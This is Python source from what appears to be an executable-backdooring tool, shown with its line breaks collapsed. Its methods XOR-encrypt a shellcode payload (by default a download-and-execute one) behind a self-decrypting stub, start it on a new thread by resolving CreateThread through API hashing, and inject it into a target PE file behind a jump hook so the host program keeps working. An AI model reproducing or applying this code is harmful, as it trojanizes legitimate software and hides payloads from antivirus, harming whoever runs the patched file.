def do_patch(self, filename): ''' do_patch, should be done with hex patch way, all input file should be xxx.bin :return: ''' final_bin_path = common.locate_file(filename) with open(final_bin_path, 'rb') as f: with open( os.path.join(common.locate_file_dir(filename), 'final_tmp.bin'), 'wb') as fb: final_bin_content = f.read() final_bin_content = self.basic_asm( "pushfd; pushad") + final_bin_content + self.basic_asm( "popad; popfd") # pushfd; pushad; popad; popfd final_bin_content += self.basic_asm( self.disasmble_patched_inst) final_bin_content += self.basic_asm("nop\n" * 5) fb.write(final_bin_content) self.pt = pepatch.Patcher(self.FILE) with open(common.locate_file('final_tmp.bin'), 'rb') as f: data = f.read() final_bin_addr, final_bin_len = self.pt.inject(raw=data) self.pt.patch(self.ADDR_PATCH, jmp=final_bin_addr) if self.disasmble_patched_inst.split(' ')[0] == 'call': self.pt.patch(final_bin_addr + final_bin_len - 10, call=self.disasmble_patched_inst.split(' ')[1]) self.pt.patch(final_bin_addr + final_bin_len - 5, jmp=self.ADDR_PATCH + 5)
def use_smc(self, data): ''' This functiuon will use xor to encrypted a bin shellcode and add a decrypting-func before and then jump to it :param smc_key: :return: filepath_to_smc_file ''' # init the random smc key, char in range(0, 255), length no more than 20 for i in range(random.randint(1, 21)): self.smc_key += chr(random.randint(1, 255)) SMC_key = self.smc_key logger.info("SMC_key: {}".format(self.smc_key)) SMCed_data = "" config_file_name = "xor_config.asm" for i in range(len(data)): SMCed_data += chr(ord(data[i]) ^ ord(SMC_key[i % len(SMC_key)])) tmp_path = common.locate_dir('tmp') with open(os.path.join(tmp_path, config_file_name), 'w') as f: """ ; keySize ; ptrSMCSize ; ptrSMCFunc ; key """ code = [ "[bits 32]\n", "[section .mtext]\n", "keySize:\n", "call $+5\npop ebx\nret\n", "dd 0x{0:x}\n".format(len(SMC_key)), "ptrSMCSize:\n", "call $+5\npop ebx\nret\n", "dd 0x{0:x}\n".format(len(data)), "key:\n", "call $+5\npop ebx\nret\n", "db '{}'\n".format(SMC_key), "ptrSMCFunc:\n", "call $+5\npop ebx\nret\n", ] line = "" for _index in range(len(SMCed_data)): if _index % 8 == 0: line += "db 0x{0:02x}, ".format(ord(SMCed_data[_index])) elif (_index + 1) % 8 == 0: line += "0x{0:02x},\n".format(ord(SMCed_data[_index])) else: line += "0x{0:02x}, ".format(ord(SMCed_data[_index])) code.append(line) f.writelines(code) asm_path = common.locate_dir('asm') with open(os.path.join(asm_path, 'xor.asm'), 'r') as f: xor_asm = f.read() config_file_path = common.locate_file(config_file_name) xor_asm = xor_asm.format(xor_config_file=config_file_path) xor_tmp_name = "xor_tmp.asm" with open(os.path.join(tmp_path, xor_tmp_name), 'w') as f: f.write(xor_asm) return xor_tmp_name
def set_config_file_and_build(self): """ :return self.final_bin: """ config_file_name = "config.asm" if self.SHELLCODE: shellcode_tmp = "shellcode_tmp.asm" self.final_bin = common.nasm_build(shellcode_tmp) if self.NEW_THREAD: create_thread_tmp = "create_thread_tmp.asm" self.final_bin = common.nasm_build(create_thread_tmp) if self.SMC: final_bin_path = common.locate_file(self.final_bin) with open(final_bin_path, 'r') as f: shellcode_data = f.read() SMC_file = self.use_smc(data=shellcode_data) self.final_bin = os.path.basename(common.nasm_build(SMC_file)) return self.final_bin
def __init__(self, FILE, ADDRESS): """ Only Version: 0.1.1 :param URL: :param FILE: :param ADDRESS: """ logger.info('Start') self.FILE = FILE self.ADDR_PATCH = ADDRESS self.OUTPUT = None self.APPEND_SECTION = True self.SHELLCODE = common.locate_file('download_exec_tmp.asm') self.LHOST = None self.LPORT = None self.CFLAGS = None self.CAVE_FOUND = False self.LEN_SHELLCODE = None self.JUMP_CAVES = None self.SMC = True self.NEW_THREAD = True
def append_section(self): """ """ if not self.ADDR_PATCH: logger.error( "\t'-a' option should be set, an address should be special to patch." ) sys.exit(1) """ support_shellcode_type = ['exe', 'dat', 'asm', 'dll', 'c', '', 'bin'] if self.SHELLCODE: extension = os.path.basename(self.SHELLCODE).split('.')[1] if extension in support_shellcode_type: shellcode_type = extension else: logger.error("This is not a support shellcode type, supported type is:\n{0:s}".format("".join(support_shellcode_type, ' '))) sys.exit(1) pt = pepatch.Patcher(self.FILE) with open(self.SHELLCODE, 'r') as f: if shellcode_type == 'dat' or shellcode_type == '' or shellcode_type == 'bin': shellcode = f.read() shellcode_addr, shellcode_len = pt.inject(raw=shellcode) self.NEW_THREAD = True if shellcode_type == 'asm': shellcode = f.read() shellcode_addr, shellcode_len = pt.inject(asm=shellcode) """ support_shellcode_type = ['exe', 'dat', "asm", "dll", "c", "bin", ""] if not self.SHELLCODE: logger.error("One shellcode should be select.") logger.error("Entry of shellcode should be 0 offset.") sys.exit(1) extension = os.path.basename(self.SHELLCODE).split('.')[1] if extension in support_shellcode_type: shellcode_type = extension else: logger.error( "This is not a support shellcode type, supported type is:\n{0:s}" .format("".join(support_shellcode_type, ' '))) sys.exit(1) # write shellcode to a new file tmp/shellcode_tmp.asm with open(self.SHELLCODE, 'r') as f: if shellcode_type == 'dat' or shellcode_type == 'bin' or shellcode_type == '': shellcode = f.read() tmp_path = common.locate_dir('tmp') with open(os.path.join(tmp_path, 'shellcode_tmp.asm'), 'a') as sf: db = [ "[bits 32]\n", "[section .mtext]\n", ] line = "" for _index in range(len(shellcode)): if _index % 8 == 0: line += "db 0x{0:02x}, ".format( ord(shellcode[_index])) elif (_index + 1) % 8 == 0: line += "0x{0:02x},\n".format( ord(shellcode[_index])) else: line += "0x{0:02x}, ".format(ord( shellcode[_index])) db.append(line) sf.writelines(db) if shellcode_type == 'asm': shellcode = f.read() tmp_path = common.locate_dir('tmp') with open(os.path.join(tmp_path, 'shellcode_tmp.asm'), 'a') as sf: sf.write(shellcode) patched_inst = self.disasmble_patched_inst logger.info(patched_inst) # new code use nasm if self.NEW_THREAD == True: if DEBUG == 1: # THis way to use IAT hash to locate CreateThread create_thread_file_path = common.locate_file( 'hash_call_IAT.asm') with open(create_thread_file_path, "r") as f: create_thread_asm = f.read() # touch a new file tmp_path = common.locate_dir('tmp') with open(os.path.join(tmp_path, "create_thread_tmp.asm"), 'w') as f: include_file_name = "config.asm" include_file_path = common.locate_file( include_file_name) search_api_asm_name = "hash_search_IAT.asm" search_api_asm_path = common.locate_file( search_api_asm_name) shellcode_tmp_path = common.locate_file( "shellcode_tmp.asm") create_thread_tmp_asm = create_thread_asm.format( include_file=include_file_path, hash=0x38579A82, shellcode=shellcode_tmp_path, hash_search_IAT=search_api_asm_path, ) f.write(create_thread_tmp_asm) else: create_thread_file_path = common.locate_file( 'create_thread.asm') with open(create_thread_file_path, "r") as f: create_thread_asm = f.read() # touch a new file tmp_path = common.locate_dir('tmp') with open(os.path.join(tmp_path, "create_thread_tmp.asm"), 'w') as f: # include_file_name = "config.asm" # include_file_path = common.locate_file(include_file_name) search_api_asm_name = "search_api.asm" search_api_asm_path = common.locate_file( search_api_asm_name) shellcode_tmp_path = common.locate_file( "shellcode_tmp.asm") create_thread_tmp_asm = create_thread_asm.format( # include_file=include_file_path, shellcode=shellcode_tmp_path, search_api_path=search_api_asm_path, ) f.write(create_thread_tmp_asm) # patch will do later '''